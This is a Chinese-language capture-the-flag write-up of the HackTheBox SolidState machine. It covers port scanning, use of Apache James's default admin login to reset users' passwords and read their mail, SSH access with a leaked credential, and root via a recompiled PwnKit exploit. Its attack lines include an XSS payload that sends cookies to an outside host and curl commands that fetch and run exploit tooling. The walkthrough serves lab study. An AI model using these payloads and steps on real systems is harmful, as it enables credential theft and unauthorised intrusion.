HackTheBox - SolidState Write Up

OS:Linux

DIFFICULTY:Medium

0x01 信息收集

端口扫描+指纹识别

naabu -host 10.10.10.51 -Pn -tp full -nmap-cli 'nmap -sV'

根据扫描结果判断该靶场大概率和邮箱漏洞相关

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.1.5 (latest)
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 6 ports on host 10.10.10.51 (10.10.10.51)
10.10.10.51:4555
10.10.10.51:80
10.10.10.51:119
10.10.10.51:25
10.10.10.51:110
10.10.10.51:22
[INF] Running nmap command: nmap -sV -p 80,119,25,110,22,4555 10.10.10.51
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 00:06 CST
Nmap scan report for bogon (10.10.10.51)
Host is up (0.33s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp   open  smtp    JAMES smtpd 2.3.2
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.93%I=7%D=4/8%Time=64303FA0%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\nPle
SF:ase\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswor
SF:d:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.49 seconds

根据指纹信息,搜索历史漏洞

web信息收集

http://10.10.10.51/

访问后发现是一个安全公司官网

查看前端源代码,未发现有用信息(注意静态资源路径和注释信息)

目录扫描

分别使用dirsearch和gobuster加载大小字典进行目录扫描

dirsearch -u http://10.10.10.51/ -e * -x 403

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: 公共 | HTTP method: GET | Threads: 30 | Wordlist size: 9009

Output File: /root/.dirsearch/reports/10.10.10.51/-_23-04-08_00-27-14.txt

Error Log: /root/.dirsearch/logs/errors-23-04-08_00-27-14.log

Target: http://10.10.10.51/

[00:27:15] Starting: 
[00:27:33] 200 -   17KB - /LICENSE.txt                                      
[00:27:33] 200 -  963B  - /README.txt                                       
[00:27:48] 200 -    1KB - /assets/                                          
[00:27:48] 301 -  311B  - /assets  ->  http://10.10.10.51/assets/           
[00:28:04] 301 -  311B  - /images  ->  http://10.10.10.51/images/           
[00:28:04] 200 -    2KB - /images/                                          
[00:28:04] 200 -    8KB - /index.html
gobuster dir -u http://10.10.10.51/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 500 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.51/
[+] Method:                  GET
[+] Threads:                 500
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/04/08 00:30:56 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 311] [--> http://10.10.10.51/assets/]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.51/images/]
/server-status        (Status: 403) [Size: 299]
Progress: 220560 / 220561 (100.00%)
===============================================================
2023/04/08 00:32:46 Finished
===============================================================

通过逐一访问,发现了网站以下两个目录存在目录遍历,但是经过分析没有找到任何有用的信息

既然扫目录没什么可用的信息,那么就要从网站本身入手了,目光来到页面的留言功能点,根据以往经验判断一般留言功能点都有可能存在存储型XSS,从而可以获取到用户的cookie等信息

0x02 漏洞利用

尝试留言获取Cookie信息,发现是想多了,没有新的发现

http://10.10.10.51/services.html
<script>document.location='http://10.10.14.26:1111/?cookie=' + document.cookie</script>

接下来尝试对Apache James Server服务进行攻击

1.Apache James Server 2.3.2 - Remote Command Execution

exp:https://www.exploit-db.com/exploits/35513

经过阅读漏洞描述发现该脚本在执行成功后,需要使用任意用户通过SSH登录后才能触发payload,但是目前还没有拿到用户的SSH账号密码,所以目前无法直接利用成功

使用时可以自定义修改payload的内容:

该代码实现了一种远程代码执行的攻击,目标是 James SMTP 服务器和 James Remote Administration Tool。攻击者通过发送一系列命令,创建一个新用户并在其家目录中构造特制电子邮件以触发目标服务器上的漏洞,并使其运行特定的 shell 命令(payload)。具体而言,攻击者使用 James Remote Administration Tool 登录到目标服务器,创建一个名为 exploit 的新用户,然后连接到 James SMTP 服务器并将一封包含 payload 的恶意邮件发送到 /etc/bash_completion.d 目录。当有人SSH登录任意用户时,将自动运行 payload。该攻击需要提供目标服务器的 IP 地址作为参数来运行脚本。


经过进一步分析利用代码,得知James 远程管理工具的默认账号密码为root/root

服务默认的端口4555,并且可以通过telnet进行连接,连接后发现了通过python脚本进行漏洞利用时创建的用户

telnet 10.10.10.51 4555

# 输入id和密码
root
root
# 连接成功后,执行以下命令
help
listusers

通过执行listusers可以看到目前存在的用户名列表

正常情况下邮件中都可能会包含敏感信息,如VPN账号、某某系统的账号密码等,那么在当前靶场环境下如何读取这些用户的邮件信息呢,经过查询James服务的相关信息,得知由于我们登录的是root用户,可以使用setpassword重置任意用户的密码,然后再通过telnet连接pop3 110端口,输入用户名和修改后的密码即可查看任意用户的邮件内容

1.重置用户密码

按照顺序,我们将所有用户的密码均重置为123123

listusers

setpassword james 123123
setpassword thomas 123123
setpassword john 123123
setpassword mindy 123123
setpassword mailadmin 123123 # 根据名字判断该用户为邮箱管理员账号

2.查看邮件内容

接下来,逐个连接POP3服务并查看邮件内容

telnet 10.10.10.51 4555

# 输入用户名和123123即可登录成功
USER james
PASS 123123

# 连接成功后
LIST
RETR 1

在连接成功 POP3 服务器后,您可以使用以下命令进行操作:

USER:用于指定邮件服务器的用户名
PASS:用于指定邮件服务器的密码
STAT:用于获取邮件服务器的统计信息,如邮件总数和大小
LIST:用于列出所有邮件及其大小
RETR:用于检索单个邮件的内容。您需要指定该邮件的序号,例如 “RETR 1” 将检索第一个邮件的内容。
DELE:用于标记要删除的邮件。您需要指定该邮件的序号,例如 “DELE 1” 将标记第一个邮件为删除状态。
NOOP:用于向服务器发送空命令以保持连接状态。
QUIT:用于退出 POP3 会话并关闭与服务器的连接。

james用户:根据返回信息该用没有邮件信息

thomas用户:根据返回信息该用没有邮件信息

john用户:发现存在一封邮件,这封邮件是一封来自 mailadmin@localhost 的邮件,主题为 “New Hires access”,意思是有新员工加入,需要对其访问权限进行管理。

邮件的意思是,发件人 James 请求收件人 John 对 Mindy 的访问权限进行限制,直到 Mindy 被加入到项目中。邮件还要求 John 给 Mindy 发送一个临时的密码,以便她能够登录她的帐户。

mindy用户:发现该用户共有两份邮件

第一封是欢迎邮件,发件人是本地主机(localhost)上的 mailadmin,发送给新员工 Mindy。邮件的主题是 “Welcome”。

邮件的正文向 Mindy 表示欢迎加入 Solid State Security Cyber 团队,作为初级防御分析师。邮件指出,Mindy 的角色在实现该组织的任务中非常关键。邮件提供了一些资源和介绍,这些资源旨在帮助 Mindy 顺利过渡到新角色中。邮件还表达了 Cyber 团队的支持,表示他们会全力支持 Mindy 的转型,并提供帮助。

邮件最后表示期待 Mindy 加入团队并在 Solid State Security 取得成功。整个邮件传递了对 Mindy 的热烈欢迎和支持,表达了公司的期望和信心。

第二封邮件是一封提供访问凭据的邮件,发件人是本地主机(localhost)上的 mailadmin,发送给新员工 Mindy。邮件的主题是 “Your Access”。

邮件正文中提供了 SSH 登录系统所需的身份验证凭据,该信息由用户名和密码组成。邮件指示 Mindy 记得在第一次登录后重置密码,并表示她目前的访问权限受到限制,可以向其主管请求任何需要添加到其路径的命令。

username: mindy
pass: P@55W0rd1!2@

mailadmin用户:根据返回信息该用没有邮件信息


现在我们拿到了一个SSH的账号密码,接下来就可以配合RCE漏洞完成利用,当该用户登录成功后payload命令被执行

但是现在已经拿到SSH的账号密码了,好像反不反弹shell都无所谓了,可以直接SSH登录后进行操作。

重新登录后发现产生一堆报错,然后有一些命令都无法使用(反弹shell后可以执行这些命令),经过查询发现这些错误信息看起来是由于在登录时使用了限制的shell(rbash)导致的。rbash限制了一些命令和功能,因此可能无法正常执行某些操作。

尝试更改登录时使用的shell,发现也无法解决,通过查询发现需要root用户更改系统配置或禁用rbash才能解决这个问题,所以目前我们还是需要通过反弹shell来进一步完成提权等操作

ssh mindy@10.10.10.51 /bin/bash

首先获取user的flag

cat /home/mindy/user.txt

flag: 2d04863969b638673619d8b8d4102da8

0x03 权限提升

通过curl下载提权脚本linux-exploit-suggester.sh

exp:https://github.com/The-Z-Labs/linux-exploit-suggester

1.本地开启http服务

python3 -m http.server 1111

2.使用curl下载

curl http://10.10.14.26:1111/linux-exploit-suggester.sh -o /home/mindy/exp.sh

3.运行提权脚本

cd /home/mindy
chmod +x exp.sh
./exp.sh

4.尝试使用**PwnKit**进行提权

exp:https://github.com/berdav/CVE-2021-4034

4.1查询当前系统的动态链接库依赖关系检查器(ldd)的版本信息和系统信息

得到GLIBC版本为2.24,并且是i686架构,这意味着它是一个32位的系统,在后续编译时需要注意添加-m32命令

ldd --version

uname -a

4.2 本地使用与目标机器GLIBC版本相同的docker镜像

docker run -it debian:9 bash

ldd --version

4.3在Debian 9镜像中安装C编译器和相关工具

apt-get update
apt-get install -y build-essential
# 安装32位的开发库
apt-get install -y gcc-multilib
apt-get install -y unzip
apt-get install -y vim

4.4上传提权工具到Debian 9镜像

docker ps
docker cp CVE-2021-4034-main.zip b17538410852:/tmp

4.5解压和编译

注意,此时不能直接make编译,由于靶机系统使用i686架构,也就是32位系统,而直接make编译出的程序是64位的,将无法在靶机上运行成功,所以我们需要先编辑Makefile文件内容,在编译时加入-m32选项,这样编译后就会生成32位二进制文件

cd /tmp
unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main

# 在CFLAGS=-Wall后面添加-m32保存即可
vim Makefile
make

4.6重新打包并复制到本地

tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034-main/

docker cp b17538410852:/tmp/CVE-2021-4034.tar.gz .

4.7上传本地编译好的提权工具(在反弹shell中执行以下命令)

curl http://10.10.14.26:1111/CVE-2021-4034.tar.gz -o /home/mindy/CVE-2021-4034.tar.gz

4.8解压并执行提权工具

tar -xzvf CVE-2021-4034.tar.gz
cd CVE-2021-4034-main
chmod +x cve-2021-4034
./cve-2021-4034

# 获取root的flag
cat /root/root.txt
flag: 87efcba8aa545103b07f0ccca81ea889


版权声明:本文为weixin_42575797原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。